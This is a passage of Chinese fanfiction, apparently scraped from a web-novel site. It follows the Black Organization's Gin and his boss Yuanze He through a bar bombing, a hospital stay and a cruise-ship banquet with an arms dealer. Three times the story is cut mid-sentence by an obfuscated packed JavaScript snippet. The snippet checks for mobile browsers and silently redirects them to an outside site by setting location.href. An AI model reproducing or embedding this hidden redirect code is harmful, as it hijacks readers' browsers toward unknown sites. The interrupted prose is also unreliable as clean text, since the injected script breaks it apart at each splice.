一进酒吧,他们就看到正聚在一起玩扑克的组织成员,酒吧明灭的灯光下,牌桌前的赌客们面色各异,有人欢喜有人愁。低低地咒骂一声后,基安蒂叹息着放下手里的扑克牌,脸上的表情已经难看到了极点,说明她的手气着实不佳。 不经意间瞥到了琴酒身后长身而立的黑发青年,组织里的王牌狙击手顿时两眼放光,立刻笑吟吟地朝他招了招手,左眼下方的凤尾蝶被牵动着振翅欲飞:“百利甜,有没有兴趣来玩一把?” 此话一出,牌桌上几人不约而同望了过来,原泽河本来想拒绝的,但不知道是想起什么,最后还是点了点头,接受了基安蒂的邀请,随后坐在她刚才坐着的位置上,接替她打牌,她也就顺理成章地从牌桌下来。 伏特加向来喜欢凑热闹,这次也不例外,见百利甜往牌桌上一坐,他当即兴冲冲地站在一旁观战。 琴酒冲着他们两人看了一眼,脸上的神情没有半分变化,他迎着酒吧所有侍应生的目光,施施然地走到吧台边坐下,然后让调酒师给他调了一杯鸡尾酒。 调酒师双手熟练地上下翻飞,很快,一杯色彩浓艳的鸡尾酒就调好了。银发杀手慢悠悠地喝着酒,悠扬舒缓的轻音乐萦绕在他的耳畔,在这样的氛围下,他的身子慢慢地放松下来,舟车劳顿的疲惫感也一扫而空。 组织的Top Killer正享受着这一天里难得的放松时刻,突然,不远处传来一阵痛彻心扉的哀嚎声:“这不可能,你绝对出老千了!!!” 他皱着眉头望过去,就见坐在牌桌上的那几名组织成员仿佛遭了晴天霹雳一般,一脸的不可置信。 黑发青年听到他们的控诉,眨了眨金色的眸子,一脸无辜地摊开手:“前辈们可别错怪好人啊,就一个扑克牌能耍什么花招。” 被他称作前辈的这些家伙一起陷入把钱输光的愁云惨雾中,而黑发青年微微抬起下巴,脸上不自觉地露出了点胜利者的笑容,与霜打茄子一样萎靡不振的几人形成了鲜明的对比。 他本来就足够漂亮,这么一笑更是不得了,饶是见惯了俊男美女的琴酒一时都有些挪不开眼,就这么直愣愣地看着他。 那人似乎是察觉到了他的目光,抬起眸子,恰好对上他的视线,两人越过酒吧来来往往的人,隔空对望,周遭像是被按下暂停键一般,整个酒吧瞬间静默了下来。 似乎过了很久,又似乎只是一瞬间,琴酒先一步移开了视线,就在他再度拿起酒杯,准备凑到唇边的时候,原泽河已经两三步走到他的面前,而后拉开高脚凳,在他旁边的位置上坐下来。 调酒师被他吸引住目光,放下了手中正在擦拭的玻璃杯,殷勤地凑了上去,问他今天要喝什么酒。 原泽河思忖片刻,而后弯唇浅浅笑了一下:“麻烦给我来杯琴酒。” 调酒师脸上立刻露出了一个微妙的表情,但在接收到琴酒大人朝自己射来的锐利眼刀后,吓得一哆嗦,顿时收敛了面上表情,眼观鼻鼻观心地忙着自己手头上的事。 他的反应太过奇怪,让人看得一头雾水,原泽河看了一眼一旁的琴酒,忍不住问道:“我刚说错话了么?” 见到对方好奇宝宝般的神情,琴酒不自觉地轻咳了两声,而后用尽可能平静的声音回答道:“您没说错什么,不用把他的反应放在心上。” 原泽河对他的话将信将疑,眼睛继续盯着他看,想从他脸上找出一丝说谎的痕迹,但见他神色如常,便打消了怀疑。 见他不再追问,琴酒松了一口气,但他又忽然想起什么似的盯着自己,声音里眼睛里都透着笑意:“Gin,你还记得吗?坐在车里的时候,我向你承诺过什么?” 琴酒几乎在一瞬间就想起了他许下的承诺,愣愣地看着眉眼含笑的他,一时不知作何反应。下一刻却见他从兜里掏出几张刚到手不久的支票,然后将其推到自己面前,借花献佛的意思再明显不过。 银发杀手的表情看起来不太自然,原泽河将其归结为对方不太擅长接受他人的好意,他认真地看着琴酒一字一句道:“我这人向来信守承诺,答应了的事就不会食言。” 琴酒知道自家Boss说一不二的性子,所以并未拒绝他的好意,一把将支票塞进口袋里,果然,Boss露出了满意的笑容,他被对方感染,也跟着一起笑了起来。 在酒吧昏暗又暧昧的灯光之下,两人相视一笑,又默不作声地各自喝着各自的酒,莫名气氛在空气中流转,一切好像都和以前一样,但又好像有些不一样了。 然而下一刻,一道声音打破了这片宁静—— 酒吧老板不知从哪个角落里钻出来,与此同时大声地冲里面喊:“快跑!里面有炸弹!就在那张桌子底下!” 但不幸的是,此刻炸弹的倒计时也只剩下三秒,听到酒吧老板的话,里面的人先是一愣,反应过来后,都争先恐后的往外跑,生怕自己跑慢了,就要被炸弹炸成碎片。 炸弹埋藏点离原泽河最近,他根本来不及避开,虽说他的身体强度远胜普通人,但爆炸造成的残骸碎片杀伤力不亚于一发霰弹的抵近射击,要是被击中的话,就算是他也得休养上两三天才好。 电光火石之间,他心里已有了打算,既然躲不开,那就不躲了。 就在他准备摆烂的时候,却被一道黑色的身影猛地扑倒在了吧台上,银发杀手张开双臂把他牢牢圈入怀中,任由自己的脊背完全暴露在炸弹碎片的溅射范围内。 原泽河被眼前这一幕震惊得无以复加,一时竟不知该如何反应。爆炸卷起的热浪瞬间被隔绝在外,尖锐的金属碎片刺入皮肉的声音近在咫尺,清晰可闻,琴酒用背脊当盾牌,替自己挡下了那道对他来说几乎致命的打击。 直到几滴温热的液体落到他的脸上,沿着他的脸颊往下流,他才如梦初醒般回过神,抬眼便看见正极力地皱着眉头忍着痛的琴酒。 察觉到他看向自己的目光中满是担忧,琴酒勉强扯了扯嘴角,朝他露出一个安抚性质的笑容,但是抱住他的手却没有丝毫的放松,死死将他禁锢在怀中。 心脏仿佛被一只无形的大手紧紧攥住,原泽河倏地耳鸣目眩,只觉得那几分钟仿佛过了几个世纪那么长。 爆炸声不知何时戛然而止,四周一片死寂,空气中弥漫着一股焦糊的气味。原泽河猛然意识回笼,稍微一挣就从琴酒怀中挣脱开来。琴酒检查后确认了他没有受伤,终于再也坚持不住,浑身力气尽数卸去。 眼见琴酒就要跌落在地,原泽河眼疾手快地扶住他的肩膀,却摸到一手的粘腻。下意识地看向男人宽厚的脊背,他瞳孔猛缩一下,金色的眸子里除了惊骇,还有连他自己都没有察觉到的心疼。 黑色风衣早已被鲜血染成了暗红,无数大大小小的金属碎片或深或浅地刺破那件堪称移动军火库的大衣,插入了琴酒宽厚的脊背,鲜血正汩汩的从他体内流出,很快在地面上晕染开来,光是看着就触目惊心。 也不知道刚才他是怎么忍下来的,受了这么重的伤,却连哼都没有哼一声。 竭力压下心中阴郁的情绪,原泽河小心搀扶着琴酒,准备带他去医院。 就在这时,伏特加不管不顾地冲进酒吧,默默将眼前的情形收入眼底。眼见自家大哥受了这么重的伤,而百利甜却毫发无损地站在那,他略一思忖便知道刚才发生了什么,神色一瞬间有点复杂。 见到来人,原泽河紧蹙的眉头稍稍舒展开来,他示意伏特加先上车,随后一路扶着琴酒,将他扶上后座。 随着车门关闭,黑色的保时捷365A疾驰起来,很快与夜色融为一体。 原泽河依旧坐在后座,但这一次,他怀里抱着一个身形高大的银发男人,男人双目紧闭面色苍白,口中还在不停地呕血,看上去奄奄一息。 他低着头,用目光一寸寸描摹过对方的五官,眸子中满是心疼。 这张脸他看过无数次,神气的,温顺的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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把琴酒当成金丝雀豢养起来,不给他受伤的机会,这个念头无比强烈地跃上心头,可下一秒,原泽河就打消了这个念头。像琴酒这样的人,是天上鹰而非笼中雀,如果自己强行将他困于笼中,只会加速他的死亡。 压下心头纷乱的思绪,他拿起病床旁边的苹果,一边握着水果刀削着苹果,一边和他的好下属说话:“Gin,你知道么,放炸弹的人是一个月前被我们捣毁的那个组织的三把手,他此番以侍应生的身份混进酒吧,为的就是向组织寻仇。” “酒吧老板意外发现了他的阴谋,刚想通风报信,就被他偷袭得手,关进地下酒窖。老板醒来后,费了好大功夫才逃出来,然后当着众人的面揭发了他的阴谋,将损失减少到了最小。” “而那个罪魁祸首见事情暴露就服毒自杀了。” 琴酒听完整件事的来龙去脉,脸上的表情始终不咸不淡。杀人者,人恒杀之。干他们这行的,就得做好被杀的觉悟,这些年来,他不知道被人上门寻仇了多少次,对此早就见怪不怪了。 说到这里,原泽河忽然话锋一转,道出了他此次谈话的真正目的:“Gin,你那个时候到底是怎么想的?” 琴酒怔愣好一会儿,才勉强憋出一句话来:“我什么也没想,是身体先动的。” 话音一落,原泽河削完最后一点果皮,他将削好皮的苹果切成小块放进碟子里,而后意味不明地问了句:“你能做到这个地步,是因为我是你的顶头上司?” 问题的答案显而易见,琴酒想也没想就脱口而出:“当然,为了保证您的生命安全,我愿意……” 他话还没说完,嘴里就被塞了一块苹果,看出Boss的表情不太美妙,虽不知为何,但他还是把苹果咽了下去,让这个话题就此打住。 原泽河报复似的把削好的苹果一块一块喂到他嘴里,看着脸颊撑得鼓鼓囊囊的银发杀手,他唇角微微上扬,但很快又耷拉下来,似乎刚才的笑意只是幻觉。 琴酒对他忠心耿耿,甚至愿意为他赴死,他这个做老大的应该高兴才是,但他还是提不起一点劲,心里感觉空落落的。 黑发青年低垂着头,思索着自己如此反常的缘故,光耀夺目的面容之上罕见地流露出些许迷茫。 9. 这个Boss不太冷静1 无边夜色下,一艘豪华游轮正缓缓行驶在平静的海面上,游轮内灯火通明,装点得异常奢靡浮华,远远看过去,就像是一座海上移动宫殿。 足以容纳数百人的宴客厅内摆放了几十张大圆桌,桌上已经备好了丰盛的美食,受邀而来的客人差不多到齐了,一眼望去,都是西装礼裙,无一不着装得体,穿得非常正式。 头顶的水晶吊灯折射出绚烂的光,悠扬的小提琴声回荡在大厅内,锦衣华服的宾客们觥筹交错,言笑晏晏,一派纸醉金迷之象。 宴客厅一隅的角落里,柯南正专注地吃着番茄牛肉意面,面条香浓筋道,牛肉鲜嫩不柴,酸酸甜甜得很是开胃,他吃着吃着就眯起了眼,真情实感地向坐在他对面的铃木大小姐表示感谢。 对方在三天前给了他和毛利兰两份邀请函,说是要他们俩和自己一起去参加一场名流宴会。这场宴会由当地一名顶级女富商举办,在她的私人游轮上进行,能来参与这场宴会的人,个个非富即贵。作为铃木财团的大小姐,铃木园子自然也在邀请者之列,但她并不想独自赴宴,便拉上了自己的好闺蜜毛利兰以及寄居在她家的江户川柯南。 正好柯南和毛利兰那天也没什么要紧的事,便答应了她的邀请,陪她一起登上那艘豪华游轮。 柯南面吃到一半,忽然听到铃木园子兴奋的尖叫:“小兰!你快看!那边有两个大大大帅哥!” 听到她那声尖叫,柯南无声地翻了一个白眼,心里默默腹诽:这位铃木大小姐什么时候能改掉对着帅哥犯花痴的毛病。但出于男人的好胜心,他最终还是抬起头,顺着她的目光看过去。 在看到她口中那两个大大大帅哥的脸时,柯南瞬间瞪大了双眼,心中惊骇万分。 只见那两人,一个穿着一身黑色西装,举手投足间皆是矜贵,正是他不久前认识的,名为原泽河的青年;另一个一身白色西装加身,银发绿眸,浑身上下透着一股疏离感,却是黑衣组织的王牌杀手琴酒。 他像是发现新大陆一般,视线在两人身上来回逡巡,满脸不可置信。谁能告诉他,那个温柔体贴端庄优雅的原哥哥为什么会和琴酒这种杀人如麻的家伙混在一起啊!!! 而接下来发生的那一幕,更是让没见过世面的直男侦探君大为震惊。 只见原泽河忽然拿起桌上的餐巾,朝琴酒伸了过去,替他擦了一下嘴角。面对他这么亲密的举动,琴酒也只是愣了一下,即便若无其事地继续切着牛排。他的吃相很优雅,让人赏心悦目,原泽河撑着头笑盈盈地看着他,人在灯下,被灯光镀了一层浅淡的光晕。 两人之间的气氛十分融洽,融洽到仿佛形成了一个与外界隔绝的世界。 柯南看着看着,有一个念头不受控制的在心底浮起:“难不成那天原哥哥就是给琴酒发的简讯?” 这个念头仅出现片刻,便被他自己给否决掉了。两个八竿子都打不到一起的人,怎么想也不该是恋爱关系。 至于他刚才看到的那一幕……直男侦探君努力给自己洗脑,这只是男人之间纯洁的友谊。 他上一秒正试图说服自己两人之间清清白白,什么关系都没有,下一秒就听到铃木园子花痴般的尖叫声:“啊啊啊!小兰!那个穿着黑西装的大帅哥在冲我们笑!” 闻言,柯南猛地抬起头来,直直撞上了一双含笑的温柔金瞳,对方笑起来眉眼弯弯似月牙,任谁看了都忍不住心生喜欢,柯南与他四目相对,忍不住在心里发出一声喟叹:这么好的一个人,怎么会和琴酒那个坏蛋扯上关系? 正当他扼腕叹息时,一道冷冰冰的视线朝他看了过来,对方眉头微蹙,眼神里带着显而易见的警告意味。 天不怕地不怕的小侦探此时也被吓到了,浑身一激灵,心底也涌起了无边的恐惧,只觉自己的后脑勺仍在隐隐作痛。他火速低下头,避开了对方的视线,继续吃着面前的食物,但不知怎的,面条嚼在嘴里没滋没味的,每吃一口对他而言都是漫长的煎熬。 直到那道极具压迫感的视线从他身上移开了,他才如释重负般松了一口气,抬手擦了擦额头上的冷汗。 原泽河看着被琴酒一个眼神吓得面无人色的柯南,颇觉有趣,眼角眉梢都因此而染上笑意:“Gin,你这么大个人了,怎么还吓小孩?” 琴酒又把视线挪到了他的身上,脸上的表情不自觉地柔和了许多,他轻哼了一声,开口的语气里满是冷漠:“我不喜欢小孩,尤其是没礼貌没教养的小孩。” 原泽河听罢无奈地笑了笑,也不再继续这个话题,他将手中的刀叉放下,向后靠在椅背上,目光专注地看向那个就站在宴客厅正中的女人。 女人穿着一袭黑色晚礼服,正举着红酒杯,和身旁的贵妇有说有笑,偶尔端起酒杯轻抿一口杯中酒。她五官明艳,身材高挑,站在流光溢彩的水晶灯下好似一只优雅的黑天鹅,正是这艘游轮的主人樱井千影。 樱井千影表面上经营着一家安保公司,实则做着走私军火的生意,是国际武器黑市里出了名的人物,有“地下世界的军火女王”之称。他和琴酒之所以会出现在这里,就是为了和这位军火世界的女王谈生意。 他不动声色地打量了樱井千影一番,随后又将视线挪回到琴酒身上。男人终于脱下了他那身万年不变的黑色风衣,换上一身裁剪得体的全手工高定西服,越发衬得他身高腿长,英挺俊美。 那日琴酒不顾性命给他挡炸弹,事后受了十分严重的伤,他急得连压箱底的灵药都拿出来给他疗伤,甚至不惜耗损修为帮他恢复,饶是如此,对方还是在病床上躺了整整半个月。 琴酒受伤是为了他,所以他主动承担了照顾对方的责任,这半个月来和他形影不离,又是帮他带饭,又是陪他解闷,下属做到这个份上,连伏特加看了都自愧不如。 经过这些天的朝夕相处,他跟琴酒的关系好像发生了微妙的变化。以前琴酒面对自己的时候,除了恭敬和顺从再无其他,但现在,当他看着自己的时候,甚至会不由自主地露出笑意。 光是想到这一点,原泽河心里就油然生出一丝隐秘的愉悦,还有那么些融化冰山的成就感。 他正沉浸在思绪中,不提防便被猩红的酒液泼了一身。紧接着“砰”的一声,高脚杯碎裂在跟前,将他的思绪一下拉回到现实里。 看着自己黑色西装上星星点点的鲜红酒渍,原泽河很可惜地啧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14871215|159564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啧了两声。下一刻,穿着白衬衫黑色马甲的侍应生惊呼出声,手忙脚乱地递给他一张手帕。 原泽河将手帕接过去,简单地擦了擦外套上的酒渍,随后抬起眸子,定定地看着那个泼他一身红酒的人。对方一接触到他的视线就低下头去,又是道歉又是鞠躬,只差当场跪下了:“实在抱歉,弄脏了您的衣服……” 他被吓得面无人色,额头上冷汗涔涔,就连说话也有些有气无力,原泽河将他这副模样看在眼里,摆摆手表示自己并没有放在心上:“不要紧,我没怪你,我去洗手间处理一下就好了。” 说完,他便站起身来,冲对方宽容地笑了一下,而这让不慎弄脏了他衣服的侍应生愈发惶恐不安。做完这一切,他就在对方愧疚的视线中,转身朝洗手间的方向走去。 这位侍应生闹出的动静不可谓不大,厅中众人齐齐朝他们这边看来,其中也包括柯南一行人。 眼见原泽河对这个泼了自己一身酒的家伙非但没有严加斥责,反而还柔声细语地安慰他,他们仨对他的好感度简直要突破天际了。 铃木园子双手托腮,眼睛发光地看向那道清瘦高挑的背影,毫不吝啬地夸赞道:“天哪!他长得帅脾气还那么好,能和他在一起的人,上辈子一定拯救了银河系!” 听到她的话,毛利兰很是认同地点点头,随后将一个月前的事情绘声绘色地讲给她听。一字不落听完后,铃木园子一脸迷妹地说道:“我宣布从今天起,他就是我心目中的男神!!!” 她们之间的对话,柯南硬是一个字也没听进去,他偷偷看着自原泽河离开后,拿出手机敲敲打打的琴酒,神色警惕又戒备。对方身为黑衣组织的核心成员,出现在这里必定没有什么好事,自己得盯着点,不让他干坏事。 琴酒一点也不知道那个名侦探在想什么,他刚给原泽河发了最后的一条简讯,就听到不远处响起喧哗声。他下意识抬头,循声望去,便看到那个泼了自家Boss一身酒的侍应生低头垂手而立,而他的主人樱井千影高高举起了酒杯,将杯中的红酒尽数倒在他的头上。 冰凉的酒液顺着发丝滑过脸颊,最后没入衣领之中,给他带来一股彻骨的寒意,那位侍应生被她当着众人的面羞辱,颜面尽失,却并未露出一丝半毫的不悦,依旧低垂着头颅,一副任凭责罚的样子。 见他并未流露出不满的神色,樱井千影眼里的怒意稍稍散了些,她微微仰头,睥睨地瞧着男人狼狈的模样,艳丽的红唇勾起一抹冷笑:“你跟了我好几年,做事还这么毛手毛脚,简直是丢我的脸,如果还有下次的话,就不只是泼你一身酒这么简单了。” 说完,她微微弯下腰,与他的视线相平齐,一字一句地咬牙说道:“你听见没有?” 闻言,那名侍应生恭敬地应了一声是,但面上却是麻木一片。 琴酒将这场闹剧收入眼底,他看着那名侍应生仓惶离去的背影,不动声色地收回了视线。 传闻军火女王性子暴虐,喜怒无常,动辄打骂下人,如今看来,所言非虚。 想到这里,他又忍不住把那个女人和自家Boss放在一起比较,最终得出结论:两者之间根本没有任何可比性。 10. 这个Boss不太冷静2 在好心人的指引下,原泽河一路七拐八拐寻到了走廊尽头的洗手间。大家都在前厅交际,洗手间里此时空无一人,他迫不及待地钻了进去,回手就把门反锁上。 确认四下无人后,他随手给自己施了个清洁咒,不过一眨眼的功夫,那身沾上了污渍的昂贵西装又再次洁净如新,一点也看不出痕迹来。 即使是修为低微的修士,也会一些打扫清洁的术法,随时都能给自己身上的衣物施加清洁咒,更不用说修真界威名在外的魔修大佬原泽河。但在众目睽睽之下,他无法暴露出异于常人的一面,只能乖乖认命,起身去洗手间清理身上的污渍。 法术施完,原泽河双手撑在洗手台边望着镜子里的自己,镜中人长着一张无可挑剔的脸,足以令一波又一波的男男女女对他趋之若鹜。 修真界一直都是以实力为尊,所以过去的他不太在乎外表这种东西,一心只想变强,但他现在身处法制社会,不能随意杀戮,如何利用皮囊俘获人心就变得至关重要,以前从来不重视脸的他也因此学会了用脸征服世界。 看了一会镜子中的自己,他忽然伸手,拧开了水龙头,随后朝手心挤了几滴洗手液,对着哗哗而下的水流仔细地冲洗着手指。 片刻后,他伸手关掉水龙头,轻轻甩了甩手上的水珠。而就在他准备离开的时候,手机突然震了一下,是琴酒的简讯,他立刻打开查看,只见简讯上写着:您清理好衣服上的酒渍了?需不需要我帮忙? 原泽河低垂着眉眼,视线飞快地扫过那条简讯,唇角扬起一抹自己都没有察觉到的弧度。片刻后他点开简讯框,修长的手指在上面敲敲打打,很快就摁下了发送键:谢谢大哥的好意,但我已经弄好了。 自从他以新晋代号成员的身份当了琴酒下属后,就喜欢上了“大哥”这一称呼,平时听伏特加这么叫没什么感觉,但轮到自己这么称呼时,总有种下克上的新奇感和满足感。 想起琴酒每次听到这个称呼时,脸上总会露出些不自在的神色,原泽河唇边的笑意更深了。 那条简讯发出去没多久,他就收到了对方的回复,点开一看,仍是简简单单的一个句号,除此之外再无其他。他盯着那个标点符号看了一会,随后摁灭屏幕,把手机塞回兜里。 出了洗手间,原泽河并没有直接回去,而是朝船外走去,想出去外面吹吹海风,放松放松心情。 在转过一条走廊时,他忽然听到前面传来男女交谈之声,其中的男声听着耳熟,原泽河几乎是在片刻间,便已分辨出来声音的主人是谁。 八卦之心熊熊燃烧了起来,他悄无声息隐匿了身形,而后顺着声源处望过去,果然那个男人就是不久前泼了他一身红酒的侍应生,而与之交谈的女人看上去最多二十几岁,头发盘在脑后,戴着一副无边眼镜,气质干净又带着些许文静。 兴许是刚哭过一场,那个女人眼圈红红的,脸上还有泪痕,看起来就像一只柔弱可怜的小白兔。侍应生瞧着她这副样子只觉得无比的心疼,想开口去安慰她,又不知道该说什么,最后索性张开双臂,把她抱在怀里,右手安抚似的拍打着她的后背。女人被他揽进怀里,微微怔愣了片刻后,也抬手环住他劲瘦的腰肢。 两个人静静地抱着彼此,衣袖交叠,气息相缠,说不出的温柔缱绻,任谁都能看得出他们之间的关系。 猝不及防被塞了一嘴狗粮的原泽河:“……” 好像过了有半个世纪那么久,他们才心满意足地松开彼此,再次交谈起来。他们说话的声音并不大,但原泽河耳力远胜常人,竟是将两人的对话听了个清清楚楚。 率先开口的是那个盘着头发戴着眼镜的女人:“刚才大小姐当着那么多人的面把酒泼到你身上,你一定很委屈吧?”她说完微微垂下头来,看着两个人相握的手,他们虽然不再抱着了,但是双手依旧紧紧握在一起,难舍难分。 闻言,那名侍应生摇了摇头:“要不是我不小心把酒泼到客人身上,大小姐也不会这样对我。” 听到这里,原泽河很明显地怔愣了一下。方才提到的大小姐应该指的是樱井家的千金樱井千影,也就是他此行的目标人物。他万万没想到,自己才刚离开没多久,对方就干出这样的事。 这个后续既在他意料之外又在他意料之中,他对那个女人的了解并不深,却也知道她养尊处优数十年,性子十分骄纵任性。她因为那个侍应生颜面被折损,势必会狠狠地惩罚他,但让他当众下不来台,也实在过分了些。 原泽河不赞同地摇了摇头,对樱井千影的刻板印象又加深了。就在这时,女人幽幽的声音再度响起,他当即回过神来,继续竖起耳朵偷听:“你还是那么傻,总爱把一切错误都揽到自己身上,她这么当众羞辱你,明明就是借机报复。毕竟你屡次三番拒绝她的求爱,她看你不爽很久了。” 此话一出,原泽河惊讶地瞪大了瞳孔,他不过是走了一会儿神,故事的走向突然就变得狗血起来了。 听到她提起那段往事,侍应生脸上露出些许困惑的表情:“为什么她会喜欢我,我到底哪里值得喜欢?” 女人听完抬起头来,深深地看着他:“她未必有多喜欢你,之所以缠着你不放,单纯是因为你的拒绝激起了她的胜负欲。我们的大小姐从小就是众星捧月般的存在,从来没被人拒绝得这么干脆,你越是这样,她就越想得到你。” 说完,她轻轻叹了口气:“我是她的贴身助理,在她身边侍奉多年,又怎会不懂她的心思。” 随着她的话音落地,一阵难言的沉默瞬间弥漫开来。大概过了几分钟的时间那么久,侍应生开口打破沉默:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14871216|159564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大小姐为人一向争强好胜,没想到在这种事上也不例外。” 女助理盯着他看了好几秒钟,忽然轻轻笑了下:“不过你现在不用担心了,大小姐已经把心思放在别人身上了,她见到那人的第一眼,就对他一见钟情了。”抬眸撞上他错愕的眼神,她顿了顿又继续说道:“她看向那个男人的眼神就如同盯着志在必得的猎物,我还是第一次见她对同龄异性露出这么毫不掩饰的眼神,看来这一次她是认真的了。” 话说到这里突然戛然而止,侍应生完完全全被勾起了好奇心,忍不住出声问道:“那人是谁?” 在旁偷听的原泽河此刻的反应也同那名侍应生一样,被她这卖关子整得抓心挠肺的难受。他实在好奇对方所说的那人是谁,外形出众到瞬间俘获了女王陛下的芳心,让见惯了各色美男的她都对其一见钟情。 女助理本想再卖一会关子,但在看到自家恋人催促的眼神后,立刻开口说道:“那个男人留着一头及腰的银发,那双墨绿色的眼睛像蛇瞳一样,他穿着一身白西装,身材好得像男模,的确是有吸引人的资本。而他身上最对大小姐胃口的,恐怕是那身拒人于千里之外的肃杀之气。据我所知,大小姐十分钟意这种类型的男人,可惜一直遇不到,这一次好不容易看见个活的,她是绝不会轻易放过的。” 原泽河默默听完,脑海里浮现出一个人的脸,除了那个人之外,他实在想不出还有哪个人能符合她的描述。像是印证他的猜想似的,女助理声音轻缓地说道:“那个男人好像是叫做……黑泽阵。” 黑泽阵,正是琴酒用来伪造身份的假名字,他在公共场合就用这个名字应付社交活动。就像是不愿与人分享的糖果突然暴露在日光之下,原泽河怎么都觉得心里不是滋味,放在身侧的手不自觉地握成了拳头,面色阴沉得仿佛在酝酿着一场暴风雨。 在听到这一消息后,他再也提不起劲头跑到甲板上吹一吹风,对在旁边偷听八卦一事也彻底失去了兴趣,此刻他满脑子都被一个念头占据着,以至于那对情侣接下来的话他一个字也没听进去。 ——樱井千影看上了琴酒,而且对他志在必得,现在很可能已经付诸行动。 这个念头跳出来的一瞬,原泽河不知为何心中烦闷更盛,丝毫没想到那个女人能给自己带来多大的好处,琴酒要是能彻底俘获她的芳心,说不定就可以促成他和她之间的合作。 但凡理智的黑老大,都会在这个关头做出让自身利益最大化的决定,他所认识的人里,就有把自己的情妇送给权贵来换取更大利益的家伙。 可当他一想到琴酒和别人亲亲热热的场景,脑子里那根名为理智的弦就啪一声崩断了,想见到某个人的冲动轻而易举地占了上风,让身为组织话事人的他毫不犹豫地转身离开,朝着宴客厅的方向大步迈去。 11. 这个Boss不太冷静3 金碧辉煌的大厅人头攒动,处处透露着奢华和高雅。钢琴声和小提琴声交织在一起,互相应和,一帮穿着华贵的男女融化在美妙的旋律中,在舞池里翩翩起舞。 舞池中央,一对男女正在尽情地起舞。男人穿着一身白色的西装,有着一头银色的长发,那头美丽的银色长发用一根黑色的发带束着,扎了一个松散的低马尾,银发绿眸的长相在灯光下显得越发斯文俊美;女人穿着黑色晚礼服,头发蓬松挽起,眉眼十分漂亮,是带着攻击性的美艳。 两人都是相貌出众的人物,在外人眼里,简直就是天造地设的一对。 原泽河推开宴客厅的门,入目所见便是这一幕。 视线在舞池中跳得正欢的那对男女身上来回逡巡,原泽河微蹙眉头,唇角不自觉间抿成一条直线。 看来他刚才的想法是对的,自己还没离开多久,那个女人就急不可耐地凑上去,向琴酒大胆发出邀请,而更气人的是,琴酒就那么从善如流地接受了邀请。 虽然知道琴酒之所以这么做,极大可能是做做样子,但不管他是真心还是假意,现在的他就是在和那个女人共舞。他环着她纤细的腰肢,她也伸手回抱了他,两人正步调一致地翩翩起舞,姿态看上去亲密极了。 巨大的水晶吊灯璀璨夺目,柔和而绚丽的灯光洒在琴酒身上,中和了他身上那种冷如冰霜的气质,看上去没有那么难以接近。 与之共舞的那个女人身着一袭黑色礼服裙,画着厚重眼影的那双媚眼直勾勾地盯着他,好像恨不得立刻把他拆吃入腹。她的身体比她更诚实,几乎半个身子都快贴上去了,任谁都能看出她的心思。 铃木园子眼睛盯在舞池中央的那个银发男子身上,像是发现了新大陆一般,兴冲冲地凑到毛利兰边上,一把抱住她的胳膊:“小兰你看!那个银发大帅哥不但人长得好看,舞跳得也很好呢!” 毛利兰听着她的话,赞同地点点头。银发男子不但相貌出众,而且跳舞跳得很好,这一点无可置疑。 看她们这副样子,柯南恨不得拿个大喇叭在她们耳边循环播放:那个银发男子可不是什么好人,你们不要被他的外表蒙蔽了双眼!!! 但是这些话终究不能说出口,他想归想,现实却不允许,只能瞪着一双眼睛看着那个害得他身体变小的罪魁祸首,哪怕后槽牙都快咬碎了也不能奈何他分毫。 一时间,大厅内的众人都直白地对着琴酒品头论足起来,男人羡慕他可以得到樱井大小姐的青睐,从此风光无限,女人则幻想现在和他共舞一曲的那个人是自己,恨不得以身代之。 而原泽河和他们不一样,他看着那好像在发光的琴酒,心里陡然生出一阵强烈的占有欲,驱使他冲到琴酒面前,搂上他的腰宣示主权。这个念头出现在脑海中的一瞬间,他心里有种东西在蠢蠢欲动,可就在下一秒,那念头就被他扼杀在摇篮里。 他和琴酒只能算是床伴关系,他有什么资格管琴酒和谁在一起呢?思及此,原泽河呆呆地站在原地,感觉好像有一盆冷水自头顶浇下来,浇灭了他内心的冲动。静默数秒之后,他闭了闭眼,努力压制住心中那股无名怒火。 就在他思绪纷乱间,樱井千影凑到了琴酒的耳边,用只有两个人才能听到的声音对他说了几句话。紧接着两人不约而同地停了下来,樱井千影姿态暧昧地挽住琴酒的胳膊,和他有说有笑地走出大厅。 悠扬的曲调仍在耳边响起,但众人视线的焦点早已离去,原泽河看着琴酒高挑瘦长的背影在眼前消失,直到再看不见才收回了视线,面无表情地在自己位置上坐下。 只是这一次,那个总是安安静静地听他说话的银发杀手已经不见人影了。 原泽河看着对面那个空空荡荡的位置,心中莫名地有些失落,好像少了什么东西一样。为了摆脱这种情绪,他拿起叉子,继续吃着盘子里的水果慕斯蛋糕,可吃进嘴里的东西,却是没了先前的滋味。 屋漏偏逢连夜雨,正当他因为琴酒的离去而心情不佳的时候,斜对面那两个家伙还在不知死活地火上浇油。 